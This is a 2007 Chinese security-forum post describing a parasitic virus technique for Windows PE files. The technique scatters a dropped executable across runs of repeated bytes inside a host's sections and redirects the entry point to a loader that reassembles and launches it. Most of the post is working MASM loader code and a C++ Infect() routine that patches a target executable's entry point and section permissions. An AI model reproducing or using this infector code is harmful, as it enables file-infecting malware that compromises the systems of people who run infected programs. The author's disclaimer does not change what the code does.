【文章标题】: 有效利用PE文件内部空间植入用户程序
【文章作者】: 空手剑客
【编写语言】: C/C++ MASM
【使用工具】: VC++6.0 RadASM PEid
【操作平台】: winXP
【作者声明】: 请勿用于非法目的!
--------------------------------------------------------------------------------
【详细过程】
寄生型(或者称为植入型)病毒程序将自身的可执行代码附加到宿主程序中,并修改宿主程序的入口地址。当操作系统
执行宿主程序时,先执行的是病毒程序,随后才执行真正的宿主程序。
最简单的寄生型病毒程序在宿主程序的尾部增加一个节,包含了全部的可执行病毒程序,但这会明显增加宿主程序的
文件大小,极易被发现。随着对PE文件格式的深入了解,大家发现每个节的尾部有大量的富余空间可以利用,可以植入相当
长的可执行代码,这主要是PE文件的节对齐(FileAlignment)所致。在程序执行时每个节都将被载入内存,实际的代码大小由
各个节的VirtualSize所决定,但是由于提出了节对齐要求,PE文件中每个节的大小将会自动调整到FileAlignment的整数倍,
当然这样做会导致每个节的实际大小大于代码的大小(碰巧相等的情况相当少见),多余的文件大小在操作系统加载PE文件时
是无用的,因而可以充分利用这一特点,将可执行代码写入节与节之间的空隙(即补齐部分)。许多新型的病毒都是利用这一
特点寄生在PE文件中,但是这一空间大小仍然很有限,更大一些的病毒程序代码则无法寄生了。
本人通过仔细研究PE文件的内容,发现其内部仍有大量的空间可以用于代码植入。例如,程序内部定义变量是会产生大量
的初始为0空间,尤其是定义数组时。以下面的数据定义为例,
jumpaddr dd 0
hDaemon dd 0
now_basein dd 0
byte_read dd 0
cDaemonName db 50 dup(0)
cSysdir db 30 dup(0)
程序文件产生的连续为0空间为96bytes,如果充分利用这一空间,对于提高寄生代码的长度非常有意义。当然需要寻找的空间
并不一定要连续为0,也可以连续为别的数据。
在执行宿主程序之前,寄生代码将潜伏在宿主中的可执行代码取出,生成完整的寄生程序,并恢复宿主原有的数据内容。
实现这一设想的关键技术有以下几个:
1、寻找宿主程序中的可用空间
2、寄生代码在宿主程序中的数据结构
3、寄生代码的重组
4、宿主程序数据的恢复
关键1的解决方法很简单:在宿主程序中寻找数据连续相等的位置,以byte为单位计算。
关键2的解决方法要求信息完整,保证有效提取寄生程序,保证能够有效恢复原有数据。在这里采用如下的结构
struct Header
{
BYTE OriginData;
DWORD DataLength;
DWORD NextVirtualAddress;
},共9 bytes.
有了关键2的解决方法,关键3和4的解决就相对容易多了
do NextVirtualAddress!=0
{
Code = Code + NextVirtualAddress[0]~NextVirtualAddress[DataLength-1]
NextVirtualAddress[0-8]~NextVirtualAddress[DataLength-1]=NextVirtualAddress[0]~NextVirtualAddress[-9]
}
具体的实现方法见源代码,里面还有许多具体的处理技巧。
具体的处理过程如下:
1、编写 Loader.asm,生成可执行文件,用PEid将Loader的关键节提取出来 loader.exe.section-3.dmp
2、编写 daemon.cpp,生成可执行文件daemon.exe并用upx压缩,这样做无非就是想尽量缩减exe文件大小
3、将daemon.exe和loader.exe.section-3.dmp拷贝只一个文件 copy /b daemon.exe + loader.exe.section-3.dmp ND.exe
4、运行ND文件即可。
;**************************************************************
;* *
;* Loader.asm *
;* *
'**************************************************************
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include comctl32.inc
include user32.inc
include gdi32.inc
include comdlg32.inc
include shell32.inc
includelib gdi32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib user32.lib
includelib comdlg32.lib
includelib shell32.lib
.code
invoke ExitProcess,0
;主程序代码,Loader执行完后会转入此处,最终无用。
Loader SEGMENT PARA USE32 "Loader"
assume cs:Loader ,ds:Loader
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
;常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--
mov now_basein[ebp],401000h
; 正确的程序入口,需要根据实际情况修改
mov edi,401000h
; 数据提取地址,需要根据实际情况修改
;------------------------------------(上面的)--
push 50
lea eax, cSysdir[ebp] ;Daemon
push eax
call vGetSystemDirectory
mov eax, ebp
add eax, ebx
add eax, edi
push eax
lea eax, cSysdir[ebp] ;Daemon
push eax
lea eax, cFmtstr[ebp]
push eax
lea eax, cDaemonName[ebp] ;Daemon
push eax
call vwsprintf
add esp,10h ;保证堆栈平衡
push 0
push FILE_ATTRIBUTE_NORMAL
push CREATE_ALWAYS
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax, cDaemonName[ebp] ;Daemon
push eax
call vCreateFile
mov hDaemon[ebp],eax
;打开文件Daemon
;------------------------------------(上面的)--
; OriginData DataLength NextAddress
; 1 db 1 dd 1 dd
loop_extract:
mov esi, edi
mov dh, byte ptr [esi] ; dh - data to be restored
mov ebx, dword ptr [esi+1] ; ebx - DataLength
mov edi, dword ptr [esi+5] ; edi - NextAddress
cmp ebx,0 ;DataLength=0,continue
jle label_1
cmp hDaemon[ebp],INVALID_HANDLE_VALUE
jz label_1 ;跳过写Daemon,继续恢复数据
push edx
push 0
lea eax,byte_read[ebp]
push eax
push ebx
add esi, 9
push esi
push hDaemon[ebp]
call vWriteFile
;写数据
;---------------------------------------
pop edx
lea eax, vstart[ebp]
cmp eax, esi
jz label_1
;如果是Loader,不需要恢复原始数据
add ebx,8
loop_restore:
mov byte ptr [esi-9+ebx], dh
dec ebx
jnz loop_restore
;恢复原始数据
;---------------------------------------
label_1:
cmp edi, 0
je finish_read
; 下一段的入口地址NextAddress为0表示结束
;--------------------------------------------
jmp loop_extract
finish_read:
push hDaemon[ebp]
call vCloseHandle
lea eax,cSysdir[ebp]
push SW_SHOW
push eax
push eax
lea eax,cDaemonName[ebp]
push eax
lea eax,cOpCode[ebp]
push eax
push NULL
call vShellExecute
;打开提取出来的文件
;------------------------------------(上面的)--
createfail:
;###########################################;
; 恢复寄存器,跳回原程序处
;------------------------------------------
mov eax,now_basein[ebp]
pop esp
pop ebp
push eax
;-------< 做好返回原程序的准备 >-----------
ret ;返回主程序
;--------------------------
; 函数调用地址
;--------------------------
vGetWindowsDirectory:
mov jumpaddr[ebp],7C82293Bh
jmp jumpaddr[ebp]
;00402004 >7C82293B kernel32.GetWindowsDirectoryA
vGetSystemDirectory:
mov jumpaddr[ebp],7C814C63h
jmp jumpaddr[ebp]
;00402004 >7C814C63 kernel32.GetSystemDirectoryA
vGetCommandLine:
mov jumpaddr[ebp],7C812C8Dh
jmp jumpaddr[ebp]
;00402000 >7C812C8D kernel32.GetCommandLineA
vwsprintf:
mov jumpaddr[ebp],77D1A2DEh
jmp jumpaddr[ebp]
;00402010 >77D1A2DE user32.wsprintfA
vCreateFile:
mov jumpaddr[ebp],7C801A24h
jmp jumpaddr[ebp]
;00490628 >7C801A24 kernel32.CreateFileA
vSetFilePointer:
mov jumpaddr[ebp],7C810DA6h
jmp jumpaddr[ebp]
;00490634 >7C810DA6 kernel32.SetFilePointer
vReadFile:
mov jumpaddr[ebp],7C80180Eh
jmp jumpaddr[ebp]
;00490638 >7C80180E kernel32.ReadFile
vWriteFile:
mov jumpaddr[ebp],7C810F9Fh
jmp jumpaddr[ebp]
;0049061C >7C810F9F kernel32.WriteFile
vCloseHandle:
mov jumpaddr[ebp],7C809B77h
jmp jumpaddr[ebp]
;00490654 >7C809B77 kernel32.CloseHandle
vMessageBox:
mov jumpaddr[ebp],77D5050Bh
jmp jumpaddr[ebp]
;00402008 >77D5050B user32.MessageBoxA
vGetSystemTime:
mov jumpaddr[ebp],7C80176Bh
jmp jumpaddr[ebp]
;00402000 >7C80176B kernel32.GetSystemTime
vExitProcess:
mov jumpaddr[ebp],7C81CAA2h
jmp jumpaddr[ebp]
;00490600 >7C81CAA2 kernel32.ExitProcess
vShellExecute:
mov jumpaddr[ebp],773EFE44h
jmp jumpaddr[ebp]
;ds:[0040200C]=773EFE44 (shell32.ShellExecute)
;不同的WIN系统这里的地址是不同的。
;因此说并不是每个WIN系统都会传染的
;------------------------------------(上面的)--
ALIGN 4
jumpaddr dd 0
hDaemon dd 0
now_basein dd 0
byte_read dd 0
cOpCode db "open",0
cDaemonName db 50 dup(0)
cSysdir db 30 dup(0)
cFmtstr db "%s\%lX.exe"
vend:
Loader ends
end vstart
//**************************************************************
//* *
//* daemon.cpp *
//* *
//**************************************************************
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <SHELLAPI.H>
struct SectionInfo
{
BYTE Flag;
struct _CurrentPos__
{
DWORD RawAddress;
DWORD VirtualAddress;
} CurrentPos;
union __Length__
{
DWORD DataLength;
DWORD FreeSpace;
}Length;
struct __NextPos__
{
DWORD RawAddress;
DWORD VirtualAddress;
}NextPos;
};
const int LoaderSize=567 ; // loader.exe.section-3.dmp的大小
const int DaemonSize=33280 ;// daemon.exe大小,如果压缩过,则应改为压缩后的文件大小
const int ep=0x14; // Loader.asm中 mov now_basein[ebp],401000h,401000h的二进制偏移
const int head_size=9; // 关键2中提出的数据结构大小
bool Infect()
{
bool ret=true;
char *HostName="c:\\target.exe";
char *DataName="c:\\ND.exe"; //需要写入的数据 daemon+loader
LONG e_lfanew;
LONG PE_sig;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
struct SectionInfo *mySecInfo;
IMAGE_SECTION_HEADER *SectionHeader;
bool LoaderSecInfo;
bool SuitableInject;
HANDLE hHost,hData;
unsigned int i,j;
DWORD tmp;
char cc;
int cnt;
unsigned int id=1;
int FreeSpace=0;
char *data;
char *LoaderData,*DaemonData;
DWORD bytes_write=0;
DWORD bytes_read;
DWORD LoaderSection=0xFF;
mySecInfo=(struct SectionInfo *)GlobalAlloc(0,sizeof(SectionInfo)*2000);
if(mySecInfo==NULL)
{
#ifdef _DEBUG
printf("mySecInfo==NULL \n");
#endif
ret=false;
goto exit_IO;
}
hHost=CreateFile(HostName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
NULL, OPEN_EXISTING, NULL, NULL);
hData=CreateFile(DataName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hHost==INVALID_HANDLE_VALUE || hData==INVALID_HANDLE_VALUE)
{
#ifdef _DEBUG
printf("hHost==NULL || hData==NULL \n");
#endif
ret=false;
goto exit_IO;
}
//读取PE入口地址
SetFilePointer(hHost,0x3C,0,FILE_BEGIN);
ReadFile(hHost,&e_lfanew,sizeof(e_lfanew),&bytes_read,0);
SetFilePointer(hHost,e_lfanew,0,FILE_BEGIN);
ReadFile(hHost,&PE_sig,sizeof(PE_sig),&bytes_read,0);
if(PE_sig!=IMAGE_NT_SIGNATURE)
{
#ifdef _DEBUG
printf("PE_sig!=IMAGE_NT_SIGNATURE\n");
#endif
ret=false;
goto exit_IO;// not NT file
}
ReadFile(hHost,&FileHeader,sizeof(IMAGE_FILE_HEADER),&bytes_read,0);
ReadFile(hHost,&OptionalHeader,sizeof(IMAGE_OPTIONAL_HEADER),&bytes_read,0);
SectionHeader=(IMAGE_SECTION_HEADER *)GlobalAlloc(0,sizeof(IMAGE_SECTION_HEADER)*FileHeader.NumberOfSections);
if(SectionHeader==NULL)
{
#ifdef _DEBUG
printf("SectionHeader==NULL\n");
#endif
//system("pause");
ret=false;
goto exit_IO;
}
FreeSpace=0;
//printf("FileHeader.NumberOfSections= %x\n",FileHeader.NumberOfSections);
//读取各Section的信息
for(i=0;i<FileHeader.NumberOfSections;i++)
ReadFile(hHost,&SectionHeader[i],sizeof(IMAGE_SECTION_HEADER),&bytes_read,0);
//寻找可以写入Daemon和Loader的空间
LoaderSecInfo=false;
SuitableInject=false;
id=1;
for(i=0;i<FileHeader.NumberOfSections;i++)
{
//优先寻找存放Loader的空间
if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+head_size)
{
mySecInfo[0].Length.DataLength=LoaderSize;
mySecInfo[0].Flag=0;
mySecInfo[0].NextPos.RawAddress=0;
mySecInfo[0].NextPos.VirtualAddress=0;
mySecInfo[0].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+
SectionHeader[i].Misc.VirtualSize+OptionalHeader.ImageBase;
mySecInfo[0].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+SectionHeader[i].Misc.VirtualSize;
LoaderSecInfo=true;
LoaderSection=i;
if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+0x60) //如果存放Loader后仍有空间,继续存放Daemon
{
id=1;
mySecInfo[id].Length.DataLength=SectionHeader[i].SizeOfRawData-SectionHeader[i].Misc.VirtualSize
-LoaderSize-head_size*2;
mySecInfo[id].Flag=0;
mySecInfo[id].CurrentPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress
+mySecInfo[0].Length.DataLength+head_size;
mySecInfo[id].CurrentPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress
+mySecInfo[0].Length.DataLength+head_size;
FreeSpace+=mySecInfo[id].Length.DataLength;
id+=1;
}
break;
}
}
if(!LoaderSecInfo)
{
#ifdef _DEBUG
printf("LoaderSecInfo==NULL\n");
#endif
ret=false;
goto exit_IO;
}
for(i=0;i<FileHeader.NumberOfSections;i++)
{
if(SectionHeader[i].SizeOfRawData<SectionHeader[i].Misc.VirtualSize)
continue;
data=(char *)GlobalAlloc(0,SectionHeader[i].SizeOfRawData);
if(data==NULL)
{
#ifdef _DEBUG
printf("data==NULL\n");
#endif
//system("pause");
ret=false;
goto exit_IO;
}
SetFilePointer(hHost,SectionHeader[i].PointerToRawData,0,FILE_BEGIN);
if(i==LoaderSection)
bytes_read=SectionHeader[i].Misc.VirtualSize;
else
bytes_read=SectionHeader[i].SizeOfRawData;
ReadFile(hHost,data,bytes_read,&tmp,0);
cc=data[0];
cnt=1;
mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+OptionalHeader.ImageBase;
mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData;
for(j=1;j<bytes_read;j++)
{
if(data[j]==cc)
cnt+=1;
else
{
if(cnt>0x50) //可以用于数据存放的空间长度下限
{
mySecInfo[id].Flag=cc;
mySecInfo[id].Length.DataLength=cnt-head_size;
FreeSpace+=mySecInfo[id].Length.DataLength;
id+=1;
if(FreeSpace>=DaemonSize)
{
mySecInfo[id-1].Length.DataLength-=(FreeSpace-DaemonSize);
mySecInfo[id-1].NextPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress;
mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress;
SuitableInject=true;
GlobalFree(data);
i=0xFFFFFFF;
j=0xFFFFFFF;
break;
}
}
cc=data[j];
cnt=1;
mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+j+OptionalHeader.ImageBase;
mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+j;
mySecInfo[id-1].NextPos.RawAddress=mySecInfo[id].CurrentPos.RawAddress;
mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[id].CurrentPos.VirtualAddress;
}
}
if(data!=NULL)
GlobalFree(data);
// printf("\t\tFreeSpace: %x\n",FreeSpace);
// system("pause");
}
#ifdef _DEBUG
printf("=======================================\n");
#endif
//printf("LoaderSize = 0x%x \n",LoaderSize);
//printf("FreeSpace = 0x%x \n",FreeSpace);
//printf("DaemonSize = 0x%x \n",DaemonSize);
//system("pause");
if(!LoaderSecInfo || !SuitableInject)
{
ret=false;
goto exit_IO;
}
#ifdef _DEBUG
for(j=1;j<=id-1;j++)
{
printf("\t\tIndex: %x\n",j);
printf("\t\tFreeSpace: %x\n",mySecInfo[j].Length.DataLength);
printf("\t\tVirtualAddress: %x\n",mySecInfo[j].CurrentPos.VirtualAddress);
printf("\t\tRawAddress: %x\n",mySecInfo[j].CurrentPos.RawAddress);
printf("\t\tData: %x\n",mySecInfo[j].Flag);
printf("\t\tNextPos: %x\n",mySecInfo[j].NextPos);
printf("\n");
}
j=0;
printf("\t\tIndex: %x\n",j);
printf("\t\tFreeSpace: %x\n",mySecInfo[j].Length.DataLength);
printf("\t\tVirtualAddress: %x\n",mySecInfo[j].CurrentPos.VirtualAddress);
printf("\t\tRawAddress: %x\n",mySecInfo[j].CurrentPos.RawAddress);
printf("\t\tData: %x\n",mySecInfo[j].Flag);
printf("\t\tNextPos: %x\n",mySecInfo[j].NextPos);
printf("\n");
system("pause");
#endif
DaemonData=(char*)GlobalAlloc(0,DaemonSize);
if(DaemonData==NULL)
{
ret=false;
goto exit_IO;
}
LoaderData=(char*)GlobalAlloc(0,LoaderSize);
if(LoaderData==NULL)
{
GlobalFree(DaemonData);
ret=false;
goto exit_IO;
}
ReadFile(hData,DaemonData,DaemonSize,&bytes_read,0);
ReadFile(hData,LoaderData,LoaderSize,&bytes_read,0);
data=DaemonData;
//写入Daemon,(DataFlag,DataLength,Next_VirtualAddress,共9个字节)
for(j=1;j<=id-1;j++)
{
SetFilePointer(hHost,mySecInfo[j].CurrentPos.RawAddress,0,FILE_BEGIN);
WriteFile(hHost,&mySecInfo[j].Flag,1,&tmp,0);
//WriteFile(hHost,&mySecInfo[j].CurrentPos.VirtualAddress,4,&tmp,0);
WriteFile(hHost,&mySecInfo[j].Length.DataLength,4,&tmp,0);
WriteFile(hHost,&mySecInfo[j].NextPos.VirtualAddress,4,&tmp,0);
WriteFile(hHost,data,mySecInfo[j].Length.DataLength,&tmp,0);
data+=mySecInfo[j].Length.DataLength;
}
data=LoaderData;
//在Loader中填写Host的原始EntryPoint
tmp=OptionalHeader.AddressOfEntryPoint+OptionalHeader.ImageBase;
data[ep ]=(char)(tmp&0x000000ff);
data[ep+1]=(char)((tmp&0x0000ff00)>>8);
data[ep+2]=(char)((tmp&0x00ff0000)>>16);
data[ep+3]=(char)((tmp&0xff000000)>>24);
//在Loader中填写Daemon的第一段数据偏移地址
tmp=mySecInfo[1].CurrentPos.VirtualAddress;
data[ep+5]=(char)(tmp&0x000000ff);
data[ep+6]=(char)((tmp&0x0000ff00)>>8);
data[ep+7]=(char)((tmp&0x00ff0000)>>16);
data[ep+8]=(char)((tmp&0xff000000)>>24);
SetFilePointer(hHost,mySecInfo[0].CurrentPos.RawAddress,0,FILE_BEGIN);
WriteFile(hHost,&mySecInfo[0].Flag,1,&tmp,0);
WriteFile(hHost,&mySecInfo[0].Length.DataLength,4,&tmp,0);
WriteFile(hHost,&mySecInfo[0].NextPos.VirtualAddress,4,&tmp,0);
WriteFile(hHost,data,mySecInfo[0].Length.DataLength,&tmp,0);
GlobalFree(DaemonData);
GlobalFree(LoaderData);
//OptionalHeader的+16位置为EntryPoint
SetFilePointer(hHost,e_lfanew+sizeof(PE_sig)+sizeof(IMAGE_FILE_HEADER)+16,0,FILE_BEGIN);
tmp=mySecInfo[0].CurrentPos.VirtualAddress-OptionalHeader.ImageBase+9; //第9个字节为可执行代码
WriteFile(hHost,&tmp,4,&bytes_write,0); //改写EntryPoint
//将Section属性改为可读和可写
SetFilePointer(hHost,e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)
,0,FILE_BEGIN);
for(i=0;i<FileHeader.NumberOfSections;i++)
{
SectionHeader[i].Characteristics=SectionHeader[i].Characteristics|0x40000000|0x80000000;
WriteFile(hHost,&(SectionHeader[i]),sizeof(IMAGE_SECTION_HEADER),&tmp,0);
}
GlobalFree(SectionHeader);
GlobalFree(mySecInfo);
#ifdef _DEBUG
printf("OK!\n");
#endif
ret=true;
exit_IO:
CloseHandle(hHost);
CloseHandle(hData);
return ret;
}
在研究过程中参考了BadDay病毒、看雪论坛出的PE文件格式研究,在此向所有作者表示感谢。
出于安全考虑此处就不贴出完整的源代码和编译好的程序,对病毒有兴趣的朋友可以私下交流研究。
- 标 题: 有效利用PE文件内部空间植入用户程序
- 作 者:空手剑客
- 时 间:2007-10-09 10:26
- 链 接:http://bbs.pediy.com/showthread.php?t=53000